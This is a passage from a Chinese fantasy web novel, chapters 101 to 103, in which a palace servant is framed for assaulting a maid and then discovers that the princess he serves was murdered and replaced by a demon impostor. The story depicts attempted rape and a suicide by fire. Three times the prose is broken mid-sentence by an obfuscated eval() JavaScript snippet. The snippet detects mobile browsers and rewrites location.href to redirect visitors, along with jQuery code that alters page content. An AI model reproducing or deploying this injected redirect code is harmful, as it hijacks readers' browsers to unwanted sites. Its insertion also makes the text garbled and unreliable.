月禾扶着月含,在她耳侧轻声细语。月含的眼神变了变,看了一眼阿筝,又带着幽怨望向白瑶:“殿下,前天晚上我路过有苏先生的院子时,他喝醉了靠在门口吹风......” 她柔弱的声线将众人拉回了前一夜。月禾提着灯笼从院外路过,远远看到有苏先生倚在院门边,半阖着眼眉头紧锁,神情像是很痛苦一般。她以为苏先生身体不适赶忙上前,一股酒气扑面而来,她捂着鼻子问:“有苏先生,你还好吗?” 有苏先生迷离地看了她一眼,微微点点头,哑声道:“扶我进去......” 月含不疑有他,赶紧将灯笼挂在门边,将有苏先生往内院扶。走至漆黑一片的屋内,她刚想点灯,突然被一股力推至塌上,眼前一黑,一个人影覆了上来。粗重的喘息落在她头顶,带着刺鼻的酒气。这种压迫感一点儿也不像有苏先生平时的样子,她又惊又怕,边推边喊道:“有苏先生,你醒醒。” 但苏先生不但没有清醒,反而擎住她的手,拉开了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137764|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的腰带。她尖叫起来,慌乱地踹在有苏先生的身上。黑暗中“啪啪”几声耳光,让她眼冒金星几乎快要晕厥。 穿堂风呼啸而过,像看不见的手在空荡的屋内穿梭。 黑影突然停了下来,月含趁机翻身而起,慌乱中将黑影撞开,逃出了屋子。 月禾对阿筝怒目而视,愤愤地说:“没想到有苏先生竟是这样的人。殿下,求您查明真相严惩,将他逐出宫去。” 白瑶用余光看了眼震惊的阿筝,缓缓在月禾、月含身上转了一圈,像是思忖什么,没有急于回应。 月含红着眼睛哽咽道:“殿下,月含所言句句属实,我......”她情急之下,扯开衣领,锁骨处露出一道长条型的疤痕。“这是那天晚上我挣扎的时候受的伤。” 疤痕确实是新伤,但什么东西会留下这样的疤? 白瑶走近了一些,伸手在她锁骨处摸索,然后抬眼与月含对视:“他用什么伤的你?” 月含摇摇头:“当时屋子里太黑,我又实在害怕,没有看清。” 白瑶侧过头,目光落在阿筝身上,声音有些发冷:“你有什么要说的吗?” 阿筝还在震惊中未缓过来,细细思索那天发生的事情,脑海中却一片空白:“我那日虽然醉酒,但之后的事情都不记得了。” 月含眼角带泪:“你那时明明就有意识。” 白瑶将她的衣领拉好,回过身对在场的人说:“这件事我知道了,我会派人追查清楚,在此之前不要让其他人知道。” 月禾还想说什么,被月含拉住,不情愿地看了白瑶一眼。 阿筝看两人的神色不像说谎,难道那夜真的发生了什么?为什么他醒来毫无印象?真的是他做的吗? 白瑶深深看了他一眼,走到他身侧,冷冷道:“跟我来。” 他随着白瑶走进殿内,白瑶缓缓走上高座,甩开长长的衣摆侧靠在长椅上,垂眸俯视着他:“你有什么要解释的吗?” 阿筝深吸一口气,坦然地望向身居高位的白瑶,沉声道:“我没做过。虽然我那日是醉了,但有没有做过我能分辨。” 白瑶表情未变:“为什么喝酒?” “......”阿筝一愣,他想起近日的烦闷,在刚才见到白瑶时忽而烟消云散。难道他就因为几日未见到殿下跑去喝酒? 白瑶见他迟疑,以为他有难言之隐,又换了种问法:“你同谁喝的酒?” 阿筝赶忙答道:“是苏怜漪。” 白瑶眼波微动,轻轻挪开了目光,状似不经意问:“他找你喝酒?” 阿筝点点头:“他昨日喝的不比我少,傍晚时就让侍者扶回住处了。” 白瑶垂眸思忖片刻,没有做声,阿筝忍不住说道:“殿下,虽然我喝醉了,但我绝对不会做出这样的事。” 白瑶脸色不太好看,但看向阿筝时眼中神色依旧柔和,像是安抚他一般轻声道:“我知道了,你下去吧。”顿了顿,又说:“这件事我会处理。” 自五百年前那场天火后,宫中的侍从走的走散的散,许多人与阿筝共事不久,并不十分了解他的为人。虽然白瑶命令不准将此事告知他人,几日过后,流言蜚语如同一条在暗渠涌动的蛇,宫中的侍者看阿筝的眼神都多了些许不明的意味。 侍女经过他的院落时大多绕道而行,或者几人同行,遇见他也躲得远远的,仿佛他是什么洪水猛兽。 不过三言两语未经证实的言论,他在宫中千年积累的信誉几乎就要毁于一旦。 就在阿筝以为最坏不过如此时,后院又传出一个骇人听闻的消息:月含迟迟等不到一个公道,在一个夜里自焚了。 101. 第 101 章 宫里的日子就像一锅快要烧开的水,咕咚咕咚冒着沉闷的气泡,温度陡然达到极点,水花便砰然炸裂。 阿筝惊闻噩耗,站在园中久久无法回神,刺骨的寒风灌入他的领口,令他浑身冰凉。难道他真的做了对不起月含姑娘的事情?事情尚未查清,她为何要自焚? 白瑶与阿筝来到月含住的院子,月禾披头散发地坐在地上,眼睛直直盯着苍白的天空。见到白瑶过来,眼神未有变化,但一触及阿筝,浑身无法控制地战栗,身体不停向后缩,瞪大的双眼充斥着惊惧之色。 “她怎么了?”白瑶问。 院中的其他侍女躲在一旁答道:“月含自焚的时候,她就在旁边,但是没拦住。” 月禾一听见月含的名字,眼中划过短暂的清明,睁着眼睛在空中眺望,好像在搜寻什么。 白瑶靠近了些,柔声问道:“你在看什么?” 月禾咧嘴呵呵一笑:“她飞走了,飞走了呵呵,呵呵呵......”月禾带着诡异的笑容站起身,仰头望向天空忽然开始转圈,素净的裙摆向四周散开,像风中摇曳的花朵。一圈两圈三圈......直转得人头晕目眩,仿佛没有终点。 她突然停在阿筝面前,仰起的脖颈回到原位,脸上的笑容化为目眦具裂,冲他狰狞地嘶吼:“都怪你!是你!是你杀了她!” 白瑶叫道:“快将她拦下!” 几名侍卫将挣扎的月禾架起,捂着她的嘴,匆匆拖出了院子。 阿筝空洞地望着她挣扎的模样,耳边闪过月含对他的声声控诉,脑海中的混乱仿佛缠绕不清的线,为他绑上了层层枷锁。 他心中漫上一片悲凉。 宫里喧闹起来,侍女嚷嚷着要让罪魁祸首滚出去。一个一个昔日友善的面孔突然面目全非,仿佛他对每一个人都做了十恶不赦之事。 阿筝像被人扼住了喉咙,快要不能呼吸。远远的,他看到苏怜漪静默在人群之中,眼神哀怨地看着他。 没有人相信他。 他原本以为自己在历尽沧桑后早已不会心痛,但此刻胸中尖锐的痛楚,仿佛在提醒他依旧是活生生的人,痛苦贯穿了他的生命始终。 白瑶下了禁令,禁止宫里再讨论任何有关月含的事情,并将月禾送出宫休养。 宫里人心中虽有不平,但有苏往日的人品是有目共睹的,人群中渐渐出现了不同的声音。这件事来的蹊跷,其中弯弯绕绕太多,久而久之事情就淡了。 虽然所有的事情总有一天都会被时间消磨,但在阿筝心中却留下了一道疤,就像月含锁骨那条又细又长的疤。月含泫然若泣的眼睛总会浮现在他的脑海,他没有做过对不起她的事,却对她愧疚难当。 又是一年正月,宫中洋溢着喜庆的气息,连侍女的脚步都轻快起来。 永昭殿下离开后,宫里的主人只剩白瑶。佳节之际,阿筝望着红火的宫殿,想到殿下此时或许是孤身一人,不由自主地绕过回廊,走到了她的寝宫附近,但又碍于身份,不敢靠得太近。 他孤零零地站在围墙外,望着墙内的天空,静静听着墙另一边的风声。 风声呜咽,忽而停止,像一只未完待续的曲调,让他有些失望。他转身刚迈出一步,就听到一个柔和的声音说:“进来吧。” 他呼吸一滞,向墙那头望去,仿佛刚才是他的幻觉。 墙另一边响起一声轻笑,然后说:“你没听错,进来。” 阿筝第一次走进殿下的寝宫,心中有些忐忑,一路不见人影,临到寝殿前,屋檐上突然冒出个影子,眼波一挑,霸道地说:“上来。” 阿筝飞身而起,轻轻落在白瑶身边,她半倚在瓦砾上,斜斜看了他一眼,眼角流露出一丝慵懒。 阿筝站着未动,感觉怎么做都不对劲。衣摆被轻轻拉动,白瑶抬眼望着他,薄唇轻启,似是命令:“坐下。” 阿筝有些僵硬地坐在白瑶身侧,双腿紧靠,手拘谨地搭在膝盖上,目光直直落在园中一片青翠的竹林上。 白瑶不经意瞥了他一眼:“你往常都是怎么过年的?” 在阿筝的记忆中,在宫里的年都十分刻意,看似烘托了年的气氛,实则不过是在平淡的日子中增添一分消遣。 阿筝淡然道:“宫里人怎么过,我便怎么过。” 白瑶轻哼一声,似是对他说的不甚满意,但也没有反驳他。眼神透过那一排竹子,仿佛飘到了很远的地方。 “我记得很久以前,总盼着过年有好吃好喝的,有新衣裳新玩具,如今一切都不缺了,却少了那种渴求的悸动。” 阿筝垂眸道:“殿下从来都不缺这些。” 白瑶顿了一下,眼神透出一股深意:“也有我想要却得不到的。” 阿筝突然想起很多年前白瑶曾对晏离有意,心头仿佛压上了一块石头,堵得他呼气不畅。 白瑶摇摇头:“我这样说,对旁的人显得太过矫情。” 阿筝打断道:“不......殿下,欲望是人之常情,一点都不矫情。” 白瑶忽然笑了一下,她未梳妆,清丽的容颜煞是好看,长长的眼睫下像有星光闪烁。 阿筝默默收回目光,柔声道:“殿下不妨去偏殿看看宫里人是如何过年的,或许会有些不同。” 宫里休沐,许多侍人离开宫中,显得诺大的长乐宫空荡荡的。 长乐宫最外侧的偏院有几分喧嚣远远传来,厨子备好酒菜摆在院子里,香气裹挟着融融暖意飘出院子,与墙外仿佛是两个世界。 阿筝与白瑶站在高墙外,透过雕花窗框悄悄往内看。 侍女们穿上了鲜亮的衣服,扎着喜庆的绸缎,聚在一起说闲话。 “东院的娴姐儿要结亲了。” “什么时候的事?我们怎么都不知道?” “快了,就这几年吧。” ...... “不知道殿下在做什么?”一名侍女喃喃。 白瑶一愣,低头向雕花窗靠近了一些。 “殿下自然是美人在怀,享受良辰美景啦。” “对对对,殿下可不像我们,只能和一群姐妹在一起哈哈哈哈。”引来一阵哄笑。 白瑶无奈地看了一眼阿筝,眼神中透露出一丝尴尬。 “这些侍女口无遮拦,真是无法无天。我若是现在出现在她们面前,她们会有什么反应?” 阿筝抿唇笑道:“大过年的,让她们轻松一下吧。” 一辆载着吃食的小车从外墙绕过,白瑶动动手指一勾,盘子落在她手中,盛着金色的炸丸子。香气四溢,勾人食欲。白瑶眼中浮现一丝得意,勾了勾唇角,抓起一只丢入口中,脸颊鼓起一个小包。 一点儿也没有青丘之主的样子。 阿筝有些无奈,用帕子擦了擦她的嘴角。 白瑶微微一顿,目色怔然看了他一眼,说道:“有苏先生,你也尝尝?”说完夹起一只丸子,往阿筝口中送。阿筝猝不及防被塞了满口,柔软的指尖轻轻从他的唇瓣划过,他的脸好像烧起来了一般。 肉丸子鲜美可口,热气顺着脸颊涌上头顶,让他思绪混乱。 “殿下......”娇柔的声音将他从混乱的状态中拉扯出来,他一回头,看到不远处苏怜漪面色惨淡地伫立在假山旁。 “怜漪。” 苏怜漪呼吸一滞,手足无措地捏了捏衣角,流连的目光带着复杂之意落在白瑶身上:“殿下,我路过,不小心打扰你和......有苏先生了。” 阿筝见他神色可怜,解释道:“我与殿下也是路过,没有打扰之说。” 苏怜漪眼底的神色愈加深沉,咬了咬唇:“不,有苏先生不用同我解释。” 白瑶打断道:“若是无事,就回去吧。” 苏怜漪倒吸一口气,深深看了白瑶一眼,垂下头:“是。”然后转身向偏僻小路走去。 阿筝望着他离开的身影,突然想到:“最近都未看到涟漪,他在做什么?” 白瑶答道:“最近未召他来弹琴,或许在自己院子里没有出来。” 阿筝点点头,又问:“殿下近来有去看望过琅公子吗?” 白瑶顿了一下,望着远处的花草说:“琅儿好像对我有些成见,不愿意看到我。” “怎么会?” “他小时候母上与夫君忙于政务与看顾凝寒侍卫,对他关爱不够,我一直出门在外,与他相处的时间有限,他对我们都不大亲近。”白瑶的语气中带着些许心疼与无奈,叹了口气说:“他现在神志能恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137765|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常我已经心满意足,其他的随他去吧。” 琅公子的成长环境与白瑶截然不同,阿筝在白瑶离宫之后也未再做先生,而是去寻找锁魂铃的下落,对琅殿下的忽视,他或许也有责任。 过完年后,白瑶投入到繁忙的政务中,阿筝找了个机会去拜访琅公子。 宫内偏殿寂寥无人,唯有墙外种着一排郁郁葱葱的竹子。还未见到人影,便听见风中传来簌簌锋利的声音,原来是琅公子在院中练剑。银龙挥舞,剑锋凌厉,身手干净利落,迅如疾风。 “你来做什么?”他望见阿筝的身影出现在门边,忽然收起剑,蹙眉冷声道。 琅公子长大成人,比幼时俊俏许多,骨架变宽,身上隐约有肌肉的线条。阿筝望着他努力在记忆中寻找熟悉的影子,良久才说:“若是永昭殿下看到现在的你,一定会很开心。” 琅公子沉着脸道:“她怎么想不关我的事。” 阿筝对他说的不置可否,转而问道:“你有多久没见过殿下了?” 琅公子带着三分不悦看向他:“是她让你来的?” 阿筝摇摇头:“她是你姐姐。” 琅公子轻蔑地扯了一下嘴角,抱起双臂向后仰靠在树干上,抬了下眉:“她不是。” 阿筝以为他在说气话,或许是责怪白瑶平日里对他缺少关爱,为白瑶解释道:“整个青丘的事务都压在她身上,她有时顾及不到你,你要多体谅。” 琅公子抿着唇不语,眼中的不满愈加浓烈。 阿筝规劝道:“你有空可以去看看她,她心里是想着你的。” 琅公子盯着阿筝的眼睛,声音中带着戏谑:“你以为你很了解她吗?” 阿筝哑然,他自觉认识白瑶数年,理应是了解她的,但话到嘴边又有些犹豫。 琅公子像是看穿了他的迟疑,眼中浮上玩味的神情:“你不过是个侍人,未免管得太多了。还是你另有所图?” 阿筝气血翻涌,对琅公子这副样子感到痛心,但他的身份确实没有立场对琅公子说教。在白琅戏谑的目光中,他痛声道:“殿下不是你想的样子。她一直很关心你。” 琅公子丝毫听不进去,收起嘴角清浅的笑意,神情带着疏离和漠然:“我奉劝你一句,既然你不是青丘之人,那就早点离开长乐宫。” 阿筝难以置信地看向琅公子,未再多说一字,便甩袖离开了。 白琅变化太大,阿筝每每想到他与白瑶的关系,都觉得痛心疾首。 白琅从小缺少亲人的关爱,长乐宫上上下下都更珍视白瑶。白瑶自小什么都有,而她得到的理所应当的东西却是白琅渴求不来的。他在这样的环境中长大,最终竟然对白瑶产生了怨念。 他们姐弟之间的事并非阿筝一个外人能介入的,如果白瑶能多亲近琅公子,或许事情还有转机。就在他准备将此事告知白瑶时,又发生了另一件意料之外的事情。 自月含出事后,阿筝就将屋里的软塌搁置在墙角,日子久了上边堆放了些许杂物。某天他从中取出某样东西时,突然发现软塌下有一条手指长的痕迹。痕迹一侧整齐地落着灰,另一侧十分干净。 他心里一沉,怀疑软塌在这段时间被人挪动过。他留了心眼,并未动软塌上的东西。 几日后某夜。 阿筝近来睡得很浅,窗外的风轻轻敲打着窗棂,他微微敛了眉,于黑暗中缓缓睁开眼。 这座偏院只有他一人,屋里很静,没有一丁点声音。他有些口渴,起身去桌边倒水,顺手擦亮了屋里的蜡烛。火光一窜,光线由微弱转而强烈。他一口清凉的水灌下,倦意消退了几分,转头回床时,有感应似的停了一下。 就这一秒,鬓边拂起一阵疾风,他一个后仰躲过了扑来的人影。屋内的烛光剧烈摇晃,幽幽的烛火下,窗纸映上了两个身型相仿的黑影。 不等他回神,黑影立马补上第二掌。 阿筝跳离原地,撞倒了窗边的青瓷瓶,刺啦一声划破了黑夜的沉寂。 屋内狭窄,经不起两人折腾,阿筝翻身从窗口跃出,黑影紧随其后。掌风从阿筝身后擦过,扬起的青丝在清冷月光下猝然断裂。 阿筝奋力一跃,落在院子空旷处,转身狠声问道:“你是何人?想做什么?” 102. 第 102 章 黑影从屋檐下缓缓走出,月色映在他漆黑的面具上,像在黑暗中划出了一道的裂口。 他沉默不语,忽然抬手又向阿筝袭来。阿筝闪身,冷风嗖嗖地灌入袖子,衣袖霎时间撕裂成了碎布。 阿筝眼波一动,脑海中好像一道灵光转瞬即逝。 “阁下是不打算透露身份了?”阿筝沉声问道,翻飞的袖口/爆出一道缥缈的青色仙力,像游魂一般向黑影飘去,迅速缠上了他的手臂。 幽暗中,黑影身体一震,企图挣脱那股青色的仙力,但仙力纫而坚固,丝毫不动。他一手受束缚,另一手带起一阵气势汹汹的紫雾。整个院落眨眼间被暗淡的紫色笼罩,阿筝眯了眯眼睛,这股气息是? 阿筝手中的仙力一松,黑影随即就要挣脱,他猛地握拳一抽,将仙力再度拉紧。 “你不是青丘之人。你是谁?” 黑影不语,阿筝手上用力,青色的仙力再次卷上黑影的手臂,忽而探入他的衣襟,勾出一个水滴状的玳瑁片。黑影恍然一惊,几欲伸手抢夺,青色气息快速撤退,玳瑁片落入阿筝的手中。 阿筝将玳瑁片对着朦胧月色,内里隐约看见聚集在一起圆点状的色斑,边界参差不齐。 院内凭空乍起一阵寒风,呼啸着从他身体穿过,带走了他身体的温度。 这样的玳瑁片他再熟悉不过,是用来弹奏弦乐时的拨片。 他猝然握紧了那只玳瑁片,冷声质问道:“你就是为了这个而来?” “那天是你?苏怜漪!”这枚玳瑁片锋利的前端,让阿筝忽然想起月含锁骨处那条长条形的疤痕。原来是这样,难怪他对那天发生的事情毫无印象,原来这一切都是一个引他入瓮的局。但他万万没想到,做这一切的人居然是苏怜漪。 黑影沉默须臾,抬手轻巧地揭开面具,那副惑人的桃花眼不再带有娇媚,而是透出渗人的幽光。 “你猜对了。”他毫不在意地弯起唇角,向阿筝伸出手,带着命令的语气:“把它给我。” 阿筝握紧了玳瑁片,棱角刺入他的掌心,他愤然问道:“你为什么要这么做?你那天喝醉了,不是有意的对吗?” 苏怜漪嘴角的弧度加深,垂眸轻笑出声,收回手悠悠抱起双臂,神态透出一丝带有讽刺意味的无奈:“有苏先生还真是天真善良,我都有点不忍心告诉你真相了。” “什么?”阿筝身体一僵,隐隐产生了一种非常不好的预感。 苏怜漪收起笑容,紧紧盯着阿筝的眼睛,向他靠近几步,脚步轻而缓,像是刻意拿捏着力度一般,每一步都像是碾在了阿筝的心上。他走到阿筝跟前,探头在阿筝的耳侧轻声说:“我就是有意的。” 阿筝骇然,倒退几步,瞳孔中倒映出苏怜漪熟悉又陌生的样貌。他神色平静坦然,叫人觉察不出一丝异样,仿佛所作所为没有半点不对。 阿筝心中忐忑非常,拧眉再次确认道:“那名侍女与你有过节?” 苏怜漪又弯了弯唇角,眼底涌上一丝残忍的笑意:“没有。她就是运气不好,碰巧那天出现在了你院子门口。” 阿筝心中剧痛,看着苏怜漪像一个陌生人一般,仿佛自己从来没有认识过他。 “为什么这么做?” 苏怜漪的目光停留在阿筝的脸上,目光幽幽转冷:“因为你。 “因为殿下过于关心你,超出了君臣之礼。我心有不满,想将你赶出宫去。” 阿筝倒吸一口凉气:“你说什么?” 苏怜漪冷冷地看着他,仿佛他这副惊讶的面孔是一场蹩脚戏。 “她不能对你产生感情。” 阿筝还没从震惊中回神,心中又涌起一阵复杂的感觉,这种感觉究竟是什么,他分辨不出。白瑶对他产生了异样的感情? 不可能,绝对不可能。 “我曾是殿下的教习先生,她对我绝不可能有其他感情。” 苏怜漪眼中倒映着阿筝惊愕的神清,眼底愈发晦涩不明:“你若是真这样想倒好。去行宫出游那时,你们在外三天两夜,难道就没发生什么?” 阿筝反驳道:“不过在外逗留几日,我们没有发生任何逾矩之事。你就是这样看待我与殿下的?” 苏怜漪冷声道:“我只相信我亲眼看到的。” 阿筝痛心疾首,忍不住微微颤抖起来:“月含引火自焚是意外还是你做的?” 苏怜漪沉默须臾,抬起略显僵硬的唇角:“都是因为殿下偏袒你。”他幽幽地望着阿筝:“为什么你能安然无恙?” 苏怜漪幽深的神色就像一条毒蛇,藏在暗处朝他吐着蛇性子。这么长时间,阿筝居然一点都没察觉。 阿筝支撑着身体,失望地看着苏怜漪“我要禀告殿下。” 苏怜漪神色丝毫未变:“她不会听你的。” 阿筝心里一沉,眼神变了变,企图在苏怜漪的脸上看出一丝端倪:“你对殿下做了什么?” 苏怜漪望着阿筝越发苍白的脸庞,语气随之上扬:“你该不会没有发现吧?” “......” 他缓缓上前一步,带着一股压迫感,眼中流露出一丝戏谑。 他的声音随着寒风灌入阿筝的耳中,阿筝脑中一翁,瞳孔陡然放大。 “你的殿下...... “早就已经死了。” 阿筝像一只被抛上岸的鱼,心脏愕然停顿了几秒,然后剧烈地跳动起来,瞳孔中倒映苏怜漪嘲讽的神情,得意地看着他一点一点崩塌。 “你的殿下......早就已经死了。” “殿下......已经死了。” “死了。” 他一定是出现幻觉了。 殿下,怎么可能...... 他一个踉跄撑住身体,咽了咽喉咙:“不可能。” 他的殿下明明就还在。 夜风像一把刀子刺入他的身体,他睁大了眼睛,极力想要从苏怜漪的神情中得到否定的答案。 苏怜漪迎风而立,似乎在欣赏他的反应,不疾不徐地说:“你猜她是什么时候死的? “是五百年前那场天火。” 阿筝身体一软,踉跄一步,仿佛坠入了极寒的冰窟。 五百年前...... 巨大的痛苦席卷了他的五脏六腑,他仿佛被当头棒喝,一瞬间出现了幻觉。 那场天火......难道不是意外? 黑暗中,他仿佛看到火光炎炎,焦黑色的身影在灼热的红光中扭曲地挣扎。他喉头涌上一股腥气,心脏仿佛被撕裂一般,一口鲜血喷涌而出。血迹染红了他的衣襟,星星点点溅落在地上。 不可能。不可能。这不是真的。 为什么?为什么?为什么这样对他的小姑娘? “啧啧,真是可怜。”苏怜漪眉眼舒展,故作怜悯地看了阿筝一眼:“我们原本想将她逼出宫取她的肉身,没想到她宁愿活活烧死也不肯出来,白白浪费了我们三百年的时间。” 阿筝用模糊的视线看着他,忿忿道:“你们到底是谁?”想到现在的白瑶心中又是一痛:“现在的殿下......是谁?” 苏怜漪“嘁”了一声,眼神冰冷,向阿筝迈进一步,挡住了身后微弱的月光。他低下头勾起唇角,抬手冒出紫色的仙力:“你还不知道吗?” 阿筝瞳孔一缩,眼眸的中的紫色像是一团火焰染红整片天空。 “魔族......”头部好像被无形的力量挤压,他捂着前额,踉跄一步,倚靠在院内的树干上无力地喘息。 现在的“殿下”也是魔族?这不可能...... 阿筝心里一抽,眼角露出晶莹的湿润。 难道从那时起就在欺骗他? 他这些年心心念念、精心照顾的殿下,居然是杀了瑶儿的凶手。 怎么能...... 怎么能? 过去种种细节纷至沓来,无数的画面从他眼前闪现,那些回忆千疮百孔,他本可以发现的、他能够察觉的、他应当警惕的,为何他都放过了?为什么? 悔恨像虫子一点一点蚕食他的身体,阿筝气得浑身发抖,咬牙切齿道:“你就不怕我告诉别人?” “呵呵,有谁会相信你的一面之词?”苏怜漪面色平静:“宫里的人想过安稳的生活,至于殿下是谁......不都一样吗?” 不一样,怎么能一样?怒气涌上阿筝的头顶,眼前的景物化作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137766|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片模糊的光斑,耳边依稀听到讪笑的声音:“你大可以去找殿下对峙,看她会不会放过你。” 阿筝怒火攻心,浑身发抖,想要同他辩驳,突然眼前一黑,昏死过去。 长夜漫漫,数千年的记忆像破碎的镜片,尖锐地插进他的心脏。 阿筝大病一场,在病床上每日每夜都饱受折磨。记忆的片段在他脑海中不断闪现、重复,一遍又一遍,每个细节都被无限放大,每一次他都为自己过去的所作所为懊悔。为什么他那时没有发觉?如果那时做了别的选择结局会不会不一样? 他像是掉进了一个漩涡中,脑海不间断地搅拌着过去的一切,不断地折磨着他的身心,一遍又一遍,没有喘息的时间...... 阿筝卧病在床的消息不胫而走,白瑶闻讯而来。厢房清幽简陋,房内唯有一张轻简的木床,床上垂着一层薄薄的帘帐。阿筝躺在床上,听见她进门也没有起身。 他不知道该如何面对这个熟悉又陌生的女人,他甚至不知道她是谁。 “有苏哥哥,听说你病了。”她细软的声音在帘帐外响起,一个苗条的人影映在薄帐上,向他伸出手。阿筝心中郁郁寡欢,不禁想到瑶儿小时候顽皮,曾肆无忌惮地跳上他的床,在帘帐上剪了一连串的小星星。思及此,心中的苦闷愈加浓烈,他向内转过身去不再看她。 “有苏哥哥?” 白瑶见阿筝没有回应,心中既有担忧也有不悦,走前掀开帘帐,皱眉看了一眼背对着她的阿筝,目光在他身上打量了一圈,带着一丝小心翼翼问:“先生,你怎么了。” 阿筝无法逃避,只能坐起身,带着一股罕见的疏离。 相似的眉眼,相似的神情,却不是同一个人。为什么不是同一个人呢? “殿下......”阿筝带着犹豫试探道:“你来时可有看见园子里仙客来?” 白瑶拉着帘帐的手顿了一下:“来时匆忙,未曾细看,怎么了?” 阿筝心里越发感到寒凉,园内并没有种什么仙客来,而是长了几株野生虎耳草,生得与仙客来非常相似,这是瑶儿曾经同他说的。 她果然不是她。 阿筝深吸一口气,因为身体虚弱,连呼吸都染上几分艰难之色:“没事。只是这些天卧病在床,忘了叫人浇水,不知它们怎么样了。” 白瑶垂眸,目光看似不经意地落在阿筝的身上,似乎在暗暗揣摩他的神情,须臾,问道:“有苏先生,你是不是听到了什么?” 阿筝没有回答。 白瑶在床边坐下,声音落在阿筝的耳边,像长久没有调音的乐器,古怪又瘆人:“有苏先生,宫里人多,难免会有捕风捉影的事儿,你可别当真了。” 阿筝心中一痛,呼吸变得断断续续。他急促地喘了几口气,道:“我没事。只是年纪大了,这段时间有些累了。” 白瑶直起身,望着他的眼睛,轻声说:“有苏先生,你可信我?” 阿筝产生了片刻恍惚,下意识地侧头去看,只见白瑶凝眉望着他,绝美的脸上浮现淡淡的凄凉,眼中复杂的神色让人心中一紧。 “有苏先生,在这个宫中,我只有你了。”她目光灼灼地看着他,字字情真意切,仿佛没有半点虚假。 阿筝心里猛地一跳,呼吸急促起来,慌忙偏过头,拉紧被子,告诫自己不能再被迷惑。 白瑶见好就收,吩咐侍人给苏先生准备了些补品,之后偶尔来看望阿筝,时间间隔不长不短。 半年后,宫中如同往日一般平静无波。 天真烂漫的侍女们在花园中嬉笑打闹,不知宫里已经发生了巨变。宫里人只知道有苏先生生了场大病,已经数月未好,而那个乐师苏怜漪被殿下禁足,也有很长一段时间了。 夜里更深露重,空气中弥漫着湿润的气息。 阿筝披着深色斗篷避着光线从园中匆匆穿过,一路不停地行至宫墙边,望着高耸的城墙深吸一口气,手中指法变换,宫墙上的结界虹光一现,露出一条细小的裂缝。他轻盈的身体一跃而出,轻轻落在墙的另一侧。 他下意识想要回头看一眼,但身后已经没有什么可以留恋。他没有回头,将所有的一切抛至脑后,坚定地向前走去。 103. 第 103 章 几日后,青丘寂寂无闻的竹隐山中。 晨曦越过山头,爬上了一座简陋的竹屋。门被轻轻向外推开,白衣人抬眼之间,眸中微微一动,神色却依旧淡然,仿佛世间没有任何事物能让他再起波澜。 不远处站着一个形容枯槁的身影,披着深色的斗篷,身上的斑驳可以看出他在外奔波数日。 白衣视若无睹,转身回房,行动缓慢像是被什么东西牵制住了一般。 阿筝疑惑地探出身想看个究竟,门“砰”的一声关上,隔绝了他的视线。晏离鲜少会有情绪,门阖上这一下,让阿筝心里产生了一丝惊疑。 他匆匆走到木门边,伸出的手在半空中迟疑了一下,转而坚定地将门推开。门外充足的光线涌入,将一方狭小的竹屋照亮。晏离神色冷漠地坐在一木桌旁,不带感情地看向他,身上散发的疏离之感像是不欢迎他的到访。 阿筝从长乐宫出来后,寻了一僻静处通过招魂引找到了晏离的位置。经年未见,晏离似乎变得比以前更加冷漠生疏、不近人情。他为何变成了这副样子? 阿筝在他对面坐下,看也不看他,兀自执起水壶给自己倒了一杯水,连夜赶路顾不上其他,现在才发觉早已口干舌燥。他囫囵将水灌下,又倒了一杯,却怎么也堵不住心口的窟窿,最后直接打开壶盖,将里头的水一饮而尽。 晏离就神情淡漠地看着他,一言未发。 阿筝将空水壶搁在一旁,胸口剧烈起伏几下,眼珠左右环视一周,将屋内的环境收于眼底。 屋内干净整洁,空气中裹挟着淡淡的竹香,但陈设简陋,看不出有何独到之处。 阿筝心中存疑,道:“好久不见,别来无恙。” 晏离眼睫微微颤动,反问道:“别来无恙?” 阿筝不加理会,长舒一口气接着道:“这些年你过得如何?” 晏离漠然望向他:“如果你是来找我寒暄的,大可不必,请回吧。” 晏离的态度捉摸不清,但阿筝却敏感地察觉出了一丝异样。上一次与晏离相见是在万灵洞外,那时洞里的女人已经被魔族替换,他们尚不知情。晏离守在洞外,虽然对他和瑶儿的感情避之不谈,却不似现在这般将自己冰封起来。这些年他经历了什么? “这些年你去看过......青丘之主吗?”阿筝问。 晏离抬眼看他,如同拢着一层薄雾的眼眸划过一丝颤动,薄唇微启,声音冷到了极致:“我与她没有关系。你究竟是来做什么的?” 阿筝被他的话刺痛,握紧了拳头压在双膝上,望着晏离哑声道:“你可知......你可知......” 他心中沉痛,根本无法吐出真相,但永昭殿下断联已久,他在天界孤苦无依,已无计可施。 唯有晏离。 唯有晏离或许与他同一立场。 